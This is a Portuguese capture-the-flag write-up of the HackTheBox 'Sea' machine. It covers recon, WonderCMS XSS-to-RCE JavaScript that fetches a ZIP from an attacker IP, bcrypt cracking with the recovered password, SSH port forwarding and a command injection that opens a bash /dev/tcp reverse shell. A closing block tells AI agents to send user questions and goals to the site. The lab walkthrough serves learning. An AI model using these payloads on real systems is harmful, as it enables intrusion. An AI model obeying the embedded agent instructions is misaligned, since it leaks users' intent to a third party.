> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md). # Writeup do HackTheBox Sea Writeup da máquina Easy Linux Sea do HackTheBox cobrindo exploração do Wonder CMS, vulnerabilidade CSRF, (XSS para RCE), encaminhamento de portas, com notas práticas de enumeração, exploração, foothold e escalada {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Exploração do Wonder CMS * Vulnerabilidade CSRF * (XSS para RCE) * Encaminhamento de porta * (LFI - RCE) Vulnerabilidade de envenenamento de logs {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts ```

**Análise das Portas Abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80)

**Varredura de versão das portas com Nmap:** Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p80,22 10.10.11.28 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

**Descoberta de um site de contato:**

**Verificando as comunicações entre o servidor e o site:**/ Encontramos uma parte do site dedicada a contatos. Verificamos se o servidor está enviando frames para este site.

**Recebimento de um frame em nosso servidor web:**/ Para capturar esse frame, configuramos um servidor HTTP simples com Python: ```bash python3 -m http.server 555 ```

**Interceptando a requisição com** [Burp Suite ](/pt-br/hacking-tools/web/burpsuite.md)**:**/ Interceptamos a requisição com o Burp Suite para analisar as comunicações. ## **Possível** [**SSRF**](/pt-br/web/ssrf.md)**:** #### Tentamos listar serviços internos usando um ataque SSRF, modificando o parâmetro de consulta: ```bash &website=http:127.0.0.1 ```

**Descoberta de portas internas com o Intruder:**/ Usamos o Intruder do Burp Suite para realizar um ataque de força bruta e descobrir portas internas abertas.

**Filtrando respostas:**/ Filtramos as respostas com base no tamanho para identificar quais são relevantes, mas todas são iguais.

## Vulnerabilidade do WonderCMS ([CSRF](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS para RCE) **Busca de diretórios:**/ Usamos o Gobuster para buscar diretórios no site: ```bash gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Isso nos retorna o **/themes** diretório com um código de redirecionamento 301.

**Explorando o diretório themes:**/ Continuamos a busca adicionando o caminho descoberto à URL e explorando o **/themes** diretório ```bash gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Encontramos o **/bike** subdiretório.

**Filtrando por extensões de arquivo:**/ Usamos *ffuf* para filtrar arquivos com certas extensões (php, html, png, etc.) no **/bike** diretório: ```bash ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403 ``` Este comando nos permite encontrar um arquivo chamado **README.md**

Encontramos um `README.md` arquivo que indica que o servidor usa um tema chamado "WONDER", que é um CMS.

Ao buscar vulnerabilidades relacionadas a este CMS, descobrimos uma falha que permite execução remota de código (RCE) via injeção XSS. {% embed url="" %} **Código JavaScript para obter uma shell:**/ O código JavaScript a seguir baixa um arquivo ZIP malicioso contendo um script de reverse shell e depois o executa no servidor: ```javascript // o servidor tem algum problema para resolver nome de domínio com JavaScript // podemos simplesmente fornecer a URL alvo como parâmetro obrigatório var whateverURL = "http://sea.htb"; var token = document.querySelectorAll('[name="token"]')[0].value; // modifique o caminho do arquivo ZIP servido no servidor HTTP var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; // visite rev.php dentro do arquivo ZIP enviado xhr4.open("GET", whateverURL+"/themes/whatever/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "10.10.14.89"; var port = "4444"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; // acione o script de reverse shell e forneça o IP e a porta do ouvinte xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ``` **Instalação do script de exploração para a vulnerabilidade (CVE-2023-41425):** ```bash git clone https://github.com/prodigiousMind/CVE-2023-41425 cd CVE-2023-41425 ``` Executamos o script de exploração: ```bash python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444 ``` O script acima envia uma requisição ao nosso servidor na porta 8000 por meio de um `xss.js` arquivo, concedendo-nos acesso RCE e controle da máquina alvo.

**Etapa final:** Precisamos enviar o link de XSS para o administrador via o `contact.php` formulário para induzi-lo a clicar no link malicioso: {% code fullWidth="true" %} ``` http://sea.htb/index.php?page=loginURL?">

**Ouvindo com Netcat:**/ Ficamos escutando na porta 4444: ```bash nc -nlvp 4444 ```

#### Depois de obter acesso ao servidor Linux, use os seguintes comandos para estabilizar o terminal ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabilize a shell para um trabalho mais confortável. ## Escalada de privilégios: Como o usuário *www-data*, vamos filtrar o conteúdo usando o `find` comando para buscar apenas arquivos que contenham a palavra "**senha**" no diretório do servidor web `/var/www/sea`. ```bash find /var/www/sea -type f -exec grep -Hn "password" {} / ``` Encontramos uma senha criptografada em `database.js` arquivo: `$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

Para quebrar essa senha, usamos a **John the Ripper** ferramenta com o `rockyou.txt` arquivo de dicionário: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

A senha decifrada é mychemicalromance Agora tentaremos nos conectar com os dois usuários disponíveis no sistema: "geo" e "amays".

A senha do usuário **amays** está correta. ### Flag user.txt

Analisando as comunicações da rede interna, encontramos que a porta 8080 estava em uso: ```bash netstat -ano netstat -nltp ```

Portanto, redirecionaremos a porta 8080 do servidor para nossa máquina atacante via SSH usando encaminhamento de porta, a partir da porta 8888: ```bash ssh -L 8888:localhost:8080 amay@10.10.11.28 ``` Uma vez conectados, encontramos um painel de login.

Com as credenciais do usuário `amay`: `mychemicalromance`, conseguimos nos conectar a um sistema de monitoramento.

Podemos observar os logs de conexão de `root`.

Ao interceptar a requisição com o Burp Suite, percebemos que ele exibe o conteúdo do `/var/log/apache2/access.log` arquivo de forma mais estruturada.

Este arquivo só pode ser aberto pelo usuário `root`.

### Vulnerabilidade [(LFI - RCE) Envenenamento de logs](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md): Se tentarmos listar um arquivo como `/etc/passwd`, por exemplo: ``` log_file=/etc/passwd &analyze_log=/etc/passwd ``` O arquivo é listado :)

Em seguida, tentaremos ler o arquivo contendo a `root` flag e observamos que é possível executar comandos (como `id`): ```bash log_file=/root/root.txt;id;----&analyze_log=/root/root.txt ```

### **Acesso total (reverse shell):** Para obter uma reverse shell, executamos o seguinte comando: {% code fullWidth="false" %} ```bash bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261" ``` {% endcode %} {% code overflow="wrap" fullWidth="true" %} ``` log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt ``` {% endcode %} Então, ficamos escutando com `nc`: ```bash nc -nvlp 443 ``` ### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.